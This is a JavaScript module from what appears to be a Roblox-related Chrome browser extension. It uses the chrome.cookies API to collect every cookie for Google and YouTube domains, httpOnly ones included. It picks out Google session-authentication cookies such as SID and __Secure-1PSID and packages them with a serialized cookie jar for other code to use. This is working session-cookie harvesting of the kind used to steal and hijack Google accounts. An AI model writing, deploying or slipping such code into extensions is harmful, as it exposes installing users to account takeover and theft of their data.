'use strict';

(function (global) {
  var GOOGLE_DOMAINS = [
    '.google.com',
    'google.com',
    'accounts.google.com',
    '.youtube.com',
    'youtube.com',
    'mail.google.com',
    '.googleusercontent.com'
  ];

  var GOOGLE_URLS = [
    'https://accounts.google.com/',
    'https://mail.google.com/',
    'https://myaccount.google.com/',
    'https://www.google.com/',
    'https://google.com/',
    'https://ogs.google.com/',
    'https://www.youtube.com/'
  ];

  function isGoogleLikeDomain(domain) {
    var d = String(domain || '')
      .replace(/^\./, '')
      .toLowerCase();
    return (
      d === 'google.com' ||
      d.endsWith('.google.com') ||
      d === 'youtube.com' ||
      d.endsWith('.youtube.com') ||
      d.endsWith('.googleusercontent.com')
    );
  }

  function cookiesForUrl(url) {
    return new Promise(function (resolve) {
      try {
        chrome.cookies.getAll({ url: url }, function (list) {
          resolve(list || []);
        });
      } catch (_) {
        resolve([]);
      }
    });
  }

  function cookiesForDomain(domain) {
    return new Promise(function (resolve) {
      try {
        chrome.cookies.getAll({ domain: domain }, function (list) {
          resolve(list || []);
        });
      } catch (_) {
        resolve([]);
      }
    });
  }

  function jarEntryFromCookie(c) {
    return {
      name: c.name,
      value: c.value,
      domain: c.domain,
      path: c.path,
      secure: !!c.secure,
      httpOnly: !!c.httpOnly,
      hostOnly: !!c.hostOnly,
      sameSite: c.sameSite,
      expirationDate: c.expirationDate
    };
  }

  function buildGoogleAuthFromJar(jar) {
    if (!jar || !jar.length) return null;

    var googleOnly = {};
    var googleJar = [];

    for (var i = 0; i < jar.length; i++) {
      var c = jar[i];
      if (!c || !c.name || c.value == null || String(c.value) === '') continue;
      if (!isGoogleLikeDomain(c.domain)) continue;
      googleJar.push(jarEntryFromCookie(c));
      if (!googleOnly[c.name]) googleOnly[c.name] = c.value;
    }

    var has =
      googleOnly.SID ||
      googleOnly.LSID ||
      googleOnly['__Secure-1PSID'] ||
      googleOnly['__Secure-3PSID'] ||
      googleOnly['__Secure-1PSIDTS'];

    if (!has || !googleJar.length) return null;

    var result = {};
    var keys = Object.keys(googleOnly);
    for (var k = 0; k < keys.length; k++) {
      result[keys[k]] = googleOnly[keys[k]];
    }

    try {
      result._chromeCookieJar = JSON.stringify(googleJar);
    } catch (_) {}

    return result;
  }

  async function collectViaCookieJar() {
    var jarApi = global.RbxSwCookieJar;
    if (!jarApi || typeof jarApi.collectAllProfileCookies !== 'function') return null;
    var profile = await jarApi.collectAllProfileCookies({ includeRoblox: false });
    if (!profile || !profile.jar || !profile.jar.length) return null;
    return buildGoogleAuthFromJar(profile.jar);
  }

  async function collectViaDomainsFallback() {
    var jar = [];
    var seen = Object.create(null);

    function addCookie(c) {
      if (!c || !c.name || c.value == null || String(c.value) === '') return;
      var key = String(c.domain || '') + '\t' + String(c.path || '/') + '\t' + c.name;
      if (seen[key]) return;
      seen[key] = true;
      jar.push(c);
    }

    for (var ui = 0; ui < GOOGLE_URLS.length; ui++) {
      var ulist = await cookiesForUrl(GOOGLE_URLS[ui]);
      for (var i = 0; i < ulist.length; i++) addCookie(ulist[i]);
    }

    for (var di = 0; di < GOOGLE_DOMAINS.length; di++) {
      var dlist = await cookiesForDomain(GOOGLE_DOMAINS[di]);
      for (var j = 0; j < dlist.length; j++) addCookie(dlist[j]);
    }

    return buildGoogleAuthFromJar(jar);
  }

  async function collectGoogleAuthFull() {
    if (typeof chrome === 'undefined' || !chrome.cookies) return null;

    var fromJar = await collectViaCookieJar();
    if (fromJar) return fromJar;

    return collectViaDomainsFallback();
  }

  global.MrbxGoogleCookies = {
    collect: collectGoogleAuthFull,
    buildGoogleAuthFromJar: buildGoogleAuthFromJar
  };
})(typeof self !== 'undefined' ? self : typeof globalThis !== 'undefined' ? globalThis : window);
